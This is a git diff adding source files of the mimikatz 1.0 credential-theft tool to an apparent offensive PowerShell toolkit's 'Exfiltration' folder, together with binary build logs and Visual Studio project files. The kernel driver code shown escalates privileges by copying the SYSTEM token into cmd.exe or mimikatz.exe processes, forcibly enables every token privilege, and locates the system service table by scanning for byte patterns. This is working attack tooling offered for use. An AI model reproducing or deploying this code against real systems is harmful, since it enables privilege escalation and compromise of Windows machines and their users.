INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ +/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ +/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} +#endif +}; + +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); +} + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); +} + +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_NOT_SUPPORTED; + + if(INDEX_OS >= INDEX_VISTA) + status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); + + return status; +} + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) +{ + NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; + PEPROCESS monProcess = NULL; + PCHAR processName = NULL; + HANDLE processId = NULL; + + PACCESS_TOKEN monTokenAcess = NULL; + PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; + + HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; + PROCESS_ACCESS_TOKEN ProcessTokenInformation; + PULONG pFlags2 = NULL; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + + for( + monProcess = PsInitialSystemProcess; + NT_SUCCESS(status) && + (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; + monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) + ) + { + processName = PsGetProcessImageFileName(monProcess); + processId = PsGetProcessId(monProcess); + + if(action == ExchangeToken || action == FullPrivilegeNT6) + { + if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouv :) - PID %u\n", processName, processId + ); + if(action == ExchangeToken) + { + status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); + if(NT_SUCCESS(status2)) + { + status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); + if(NT_SUCCESS(status2)) + { + ProcessTokenInformation.Token = newSysTokenHandle; + ProcessTokenInformation.Thread = 0; + + if(INDEX_OS >= INDEX_VISTA) + { + pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); + *pFlags2 &= ~TOKEN_FROZEN_MASK; + } + + status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); + if(NT_SUCCESS(status2)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken chang :)\n"); + } + + if(INDEX_OS >= INDEX_VISTA) + { + *pFlags2 |= TOKEN_FROZEN_MASK; + } + + ZwClose(newSysTokenHandle); + } + ZwClose(sysProcessTokenHandle); + } + ZwClose(processHandle); + ZwClose(sysProcessHandle); + } + } + } + else + { + if(monTokenAcess = PsReferencePrimaryToken(monProcess)) + { + mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); + + mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; + mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; + mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; + mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; + mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; + + PsDereferencePrimaryToken(monTokenAcess); + } + } + } + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); + } + } + return status; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 00000000..ae998256 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c new file mode 100644 index 00000000..688dfb2f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.c @@ -0,0 +1,83 @@ +#include "ssdt.h" + +#ifdef _M_X64 +PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; +#endif + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + USHORT idxFunction; + ULONG_PTR funcAddr; + + #ifdef _M_X64 + status = getKeServiceDescriptorTable(); + if(NT_SUCCESS(status)) + { + #endif + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); + for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) + { + #ifdef _M_IX86 + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; + #else + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; + if(INDEX_OS < INDEX_VISTA) + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; + } + else + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; + } + #endif + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + #ifdef _M_X64 + } + #endif + return status; +} + +#ifdef _M_X64 +NTSTATUS getKeServiceDescriptorTable() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + + UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; + LONG OFFS_WNO8_Ke = -19; + LONG OFFS_WIN8_Ke = -16; + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + PUCHAR baseSearch = NULL; + + if(KeServiceDescriptorTable) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); + if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refDebut= baseSearch - 21*PAGE_SIZE; + refFin = baseSearch + 16*PAGE_SIZE; + offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; + + retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); + } + } + return retour; +} +#endif \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h new file mode 100644 index 00000000..33ab9afb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.h @@ -0,0 +1,13 @@ +#pragma once +#include "k_types.h" +#include "mod_memory.h" +#include "modules.h" + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +#ifdef _M_IX86 + extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +#else + PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; + NTSTATUS getKeServiceDescriptorTable(); +#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..574462d68510beade31e5994920d86034c60810d GIT binary patch literal 13668 zcmdU0$&S-N5Un#3|BxdbCSoQCM%)tHNlaoV@{$EbP&G&C#C6P~Zk(K1q$XZ%i;A}5DIZ7s#)ELWTi%%vejB_lP0>35Z&oO?%c_|0n zvBBsAuJL+~vpHsb!S(x*2YHmKyu%gF+2gasQ!{*i9hm~(YkBp8a*ugCV6AXpArst} z2V^yl-vHmUe2}*K7~zr0=FtZ@u)Yj9jqS!#!%WlV5)<* z`@oXG#*jL5NIUH_Ed?!~TALQsOJ1&)m`NMn*(Wd5JOGn7{!-%Rpxr8>#Er9Bl>c}V zHwFtmfp|#9*s26b&cREGhi4dN>VP7F-ZhXK+SFB4Yc&)VEy5K@THxD9uZW-djuf9$Z?(%Fkh8H}c+`U(70S*HJvasPp82I=9?^aqhTxsjTb5y!$uF(gNn7b&Q$V==T+%R2I6wJdjZ{veY%ro2PL5PChs2_=;x85KF zy>Y;&5_)7WFG=vtxkp+{u0{zyP!x#i?2&9;WTdvJTWMvH`D*)^vVhNfTV1o}Q;ACA zEL10LeW(g?o4q|z6e*Bo<{EU1#Xgg&XiCVgz5m}~X}~29wqNnkS2(-a75knFc0btj zOXC3T?eJ1lqF=|Xm9_n4<%ZQrW{It_D4$sWW=_Vw@~{AhykMcX>jjJQDRzItu=r82 z)SwQl*Y^I^(NRXR+owF}c87)gw-;|Bc2~<731$Z!tF88tQ>Rfyus9wxihC4mggbof z>BG)BdN}s`6RDA*JJNdJW;f{P&=JboX*@Jz>y+$d&4J4YB4S~uFl)>45Dl|A?48)) zd&Jioi%L(9z1v>56XcB81#NHj*vGhqym-j|s-5w{AzGLU6(;RpKA1}{vuP*r$zFDM z@PK{rNO{A^--Ax8^zwfX8fcTXwPOX4IapH0zQ&~8JnWgwfyRC>=zLH9mx?u~=>ML~ VQP5{7T%gF%OPBzQcHj3t%nyP4TQ&dy literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..1393f5201c949a980dc374ae5c3174b867b79289 GIT binary patch literal 528 zcmd6kOAdlS5Cv;(;!z-=J9ns~;s=NyAclDVQ>ZmA)dP@TOuAmrvP#zC5>MZL5uoVcrhlZ2doY`N;wHfY5?z%P6+#O_YqG7G$nDQH4mQ0}l literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..05c99d0b13f38f0d49b1e7c750ecb287683f1e92 GIT binary patch literal 1190 zcmdUu-A=+l5QWdRiSJ;zM?vqnLnxIfh43SU5D6d%5h@Wx@!{2Py5&cB0nMh}&Y3gQ zv%6=%zaErRMjiPos;(O~bWK!ISxtGWss`rij^U{VZdg$z<^X;cyh9x5o{C%0Bst3$ ziLx--;Q+Q=RBS1D)|MDzQ~O(Nbf*sZU)+FM8KduP7cf zPZ^#*G>@=}X3Qb{9=ItEwW8t~)D&BOLezutN#3G;WT)74ypWsm-w-W-L(>dRk0_e5 zo<*#x%^FNyNN&pW#A9(&SMl6p?S_=uCpWu_GCf?pju}4ZY)GDWlidsGak)hTa1Y-! zaM6ah_ZMI5C?4UQj7B(OfhUaNkRf|DV3+5hu0xwRgZBpbu804+G2h`McHKN_ zt}!oKrvl#z_GiM`*gkd`&PfGM@pooLWtzK^;>OI$_G6~cxAm&CYMXoXGHIU + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate new file mode 100644 index 00000000..4d281933 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res new file mode 100644 index 0000000000000000000000000000000000000000..416efb252679234e4017c8d9860fdb073712bce1 GIT binary patch literal 788 zcmZ{iO-=$q5QQIP7Mif&2F}8TZp@&waAyptArdueaA^PsB*M%@h8R7BXYm5wf_r!a z@vGJjKZ)I`?w+n!uU^%(B!$>~{%agp#;ol9RWK#zi&P0bXjYCnwsoU>))QTGYU)xK zd^cH7IotRQzP=@k|K;%ek@HFc(|i7|6qCCIU!i9Wm1+RnP$MNUr|K&MSaq04u_E=b zSY1}>P!(e9V8+VT0so4c4qu6*KVwf}Hoj2j>@S$~t^?wHo(8B1yp}(A=!_^EPjKbT zKE8w*>cOpJkY?sD^u~RThAF5}cigAoGICA$-f_B2L#SiN*232#HUYou@zdwj^C`5z_)caA@mVPQR?`fgWL!>*VU4>93UCYgnbCnMRTfLCR7Z2`;Kp)w`4;dS;A75( z-g4s&=r%ITb50Ey?~va|wzaE7&ybi?vf60PSYxbO+jH&xL7HHrsn`1cU-|6F2700` z?Xc^!df`6{S?-ggeIoAh%T$BYqXx$6zoV@5Nf-L8Q*u)3N?$b7H99Z&&RLnhY8kLf zmwXrSC*ZEkLO0y_2{&apaUC7K4i_294Tm4^Cl zc14WI@i?{)zXN_XG)?iy`l_HkK~qI!W_Ia@0-xIP~*I!D>{gf`7)czpKDJ zhdXCKgAr|%YSGD$yT(g$b-MO<5az-_Cv@GA>U8lvzSI^~9f8KqEkozJ! z10$su%pcMhO>)>m+ipNwSSZM!Cq{~_f#&!s3Z_qrtu8OXbH(>PXG(PBk3N^N$7Ai? lUnx`7?w@uVy?_1zMA(kD^Nr+jojZ=bU?d3`jKBf`287Ep6BfKjgVdo>- zYb-66%gFj}1TO=1;A$J|!0a|-Q?g+`Rzr?Dv1)N>GBRfw&%K<%lvYmQ(ge>HdrI=1 z@jVu|DsC@0+3*n~JSqaSdv#(whGP`h*>`voL%GM#ug8%>GZ69TJI6 zt%Yw)MO$8i)aL%wXcizy$dGjy>psUtbXXU%sgQ%krik_ReJs0`QRvO{F9m&=1U5%P x7dS544$1U}^HvK(R_L=C{n$9TkLx^L>hJj(X87rOxrtrOJSw-DG&HI28$YosFslFn literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..f8b3fd94a63e283e0bdabef806151dd7b937b844 GIT binary patch literal 756 zcmdUt%?iRW5QM+8;G;D7bMw~PRHHVQHvS;RC-K?UNxX>&o{H=tnVHRIlby%?%8~^= zD;$9}2MVEvJtr(JojA)*VL6MBoTJw2m7k06g*``|*ow`hMcoPI%D6~>XELT3CQ@Qf zqo`EXDtg@-tIe5xP>t>=*l_!+p5x0p#*7B-`uo3@X~IMI_^TUUU7O^XpkHp2FH7O* RJS&gY+IitB%^;*HJOO4?ZSnvB literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..be3410331ff18f2fdac4e237cc8316e3cc38e1b3 GIT binary patch literal 936 zcmaiy+e-pr5XH}P(EqU5OFgvRAflek)>=wi+_Z=#=%OX*DyvVEYbld(h0a>v1)wl@XO#Cc3mwZ_CXi% znLoxV!#KtN8(GwfLM`JlPQs~@HR5DcwQOrz{lgn-$CZT6IfCDCB|F$wDmVsbT!JixN7O_ap=13For z^wOfz`z$K(jA8x!){}uJ#Fpu_Or5_p&uT_X$~91r-!;Dg`(AAoy1*K7Gi0DUjWzWD z0&L_+p-b+YDt&IY3+o2f1$q)V51uInYg3_zhDWkk_OAMTbNJ`r)=f^`fo?%A_3hO;DOJ=N#utUHog-hdW&0&knbGS84lY&YAy>dslcS#=q}pil^q{TqiGv zU2Utr-c-cR2fFvZPj=4%23uyX!8+afO+{>1%x|IxP@7VLA2#bW?Kk^U({1g_hnzdz kJBNhHbNHJFIgBHi?tK?h_!hpMt54eh=Ii{)w`h)i02QH`R{#J2 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..53b60f35815c1aae7e54b44ba7d7cee69a3352e1 GIT binary patch literal 574 zcmc(c%MQUn7=_PT;vKqVp>at>?5d_rXf>@O(s&Zjj_)5`iG`iaqH`|)<#e8pn^G;+ zY9p_swraEjl{)Awr%E-P)1KpWfj7=8=Ud=U;9GE^6BRqy5t`{9l;F6ce=;LY6l;uP zo|2Q%)p1&;TDO^|U({IZut^*|NBmXTWDT}ij;=Yk0-S+rxO<{Eapromg|&*%`5&C{!)au2eu4V!rMh$Q1K%ZW+vf05!dhvoU)r-d)6O-PzB R=iAPG_5S)Qzr2C%_yTO&Qu+V@ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..92ee08406f4e0bbb2d0835a81edc1c69883f21f5 GIT binary patch literal 628 zcmdUs%Syvg6h+rq@E=O%iMBdvXEjaRpvKVJ2U1!@S`mYaPW*ax-B27D=OUZKVefrj zm;3p#CZ)%U5joe4nQ%U&#yRcATrmdcn_SeJgJC ze=0F;5{`93O(}*>%|ug4bW#pE;D`Y&HeOgbJ$2u}j@Djpsuhtt-i=eED+{$xJX0C> oM&LVh0?Z5ov7q^mKGXMYp literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..6f2e9b05a0415fb3fba6005ecd5cbc28aac0d9a3 GIT binary patch literal 2522 zcmd6p(N2Rf6o&t66W@VLy%=#fYP`b&lWYSr23rhq@Bb3&cghl%>5UUp(qwDTDec$4 zKP?~cZ*qE4uZ0S2^`chKv}#q_Dbq#`u}mvUraf_s6r+#5M$IVSBQY7LYh4{VYuXjG8=hP%;>p6ZHPmk)eAK;ek8?WT zx1oOyNd#lTdRk8%QQJ~aiB;t0@C-~HGxeT*#SFP`*$N%=Sbw8Ti0>IaW0V+$rpC8p zRpsb>4Xa9k5CrQi_$diKZr)-Tq^eBZ^gl_#l#+=~&UDVot>Ju= XQm1Cj=+Aog?^n;6{pcM2TyFgWA~-Ze literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 00000000..63130c92 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h new file mode 100644 index 00000000..22ffbc26 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc new file mode 100644 index 0000000000000000000000000000000000000000..f08bc5607efeb78c964f72fcdd79ff3f9d3e3b2c GIT binary patch literal 1912 zcmbu9+int36o&t66W?J=Z)#!;)V@GDN}K{I2la|n3P@Ukzz`4Vv#a0Qn_+;VMrbB` z_RKo`>%9K_KGU6s8fl^_x6_qcYOABJ%BriWzHU^3TIRcjw$8*Z*7StbFfV$LMeT5PvS6B)*Pqmg<9O3V)9sloij;~dHTKnC`$1V|+h@npm z5zlM19(ml8njJ81R70c6eT9ZujQDCm?Q++^a~n#KtH3Skz23lSBUOBYZ&-GENcDMF zu+jFpZt!0RrHa>XkCV_%(;-m@y|O3cRKR+EbAoIO{3fw?@vie<8VP#UM^MANYhrHe z1D5mD^c|Ird<>~4scewRXC#^+1l}bm_FQIUI&@ac=ho~LGW?L&U8%%U5xttvUx?db z&G{-ciQIh8;XzDCTCb1E;e>u2qA?|&*}6Z2mgyZrOSus_O;9b8yaqm^FT6viC$h=? zZ^T5ZN2VicW&M@I!c5;ZXO^b=NoU;hH-v6ImLu9B^w`JYh;X9soWs@+<0m;N`zamx z+{``V4CKVlJ$C0jBR|cyC2W2jzD)cveym?m=J>lp%IPCKoAVhyE%`t9F_^D5^@bL~ z8|WUS1rv6P*FCSh1asTl0^26PImh5yC&V6einkA$eDCMs80-k#u}8I<&Z(yL;h4P` zZ}ObwSl&v0V_gtaK^J82`BiUWdq!|qTEG3y*{=}%j*pjIyXzP{hH2T wkK8VvHPgG3*8$C@Zb=_lcW?KY?WQpCHiuRf+h*HaC-pY{I->(@A|}kyU(x>fWB>pF literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj new file mode 100644 index 00000000..ef29473c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj @@ -0,0 +1,119 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} + Win32Proj + kappfree + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters new file mode 100644 index 00000000..987362e4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..d6e37a7b2be0eb5cf84d1445fb5e23cad678f631 GIT binary patch literal 97396 zcmeI5-EP}R5`}raz`lboCl?9g$znE`J6nWMJAUBx^RIj?Zi`RFXS_1PPc8Ab z!*6)OPb~5I7{6tK*GKrjJr@5g{t;HfZ^5LSV%^rzA6M`Jn)?LZ)$8{N&8?y54fL`s 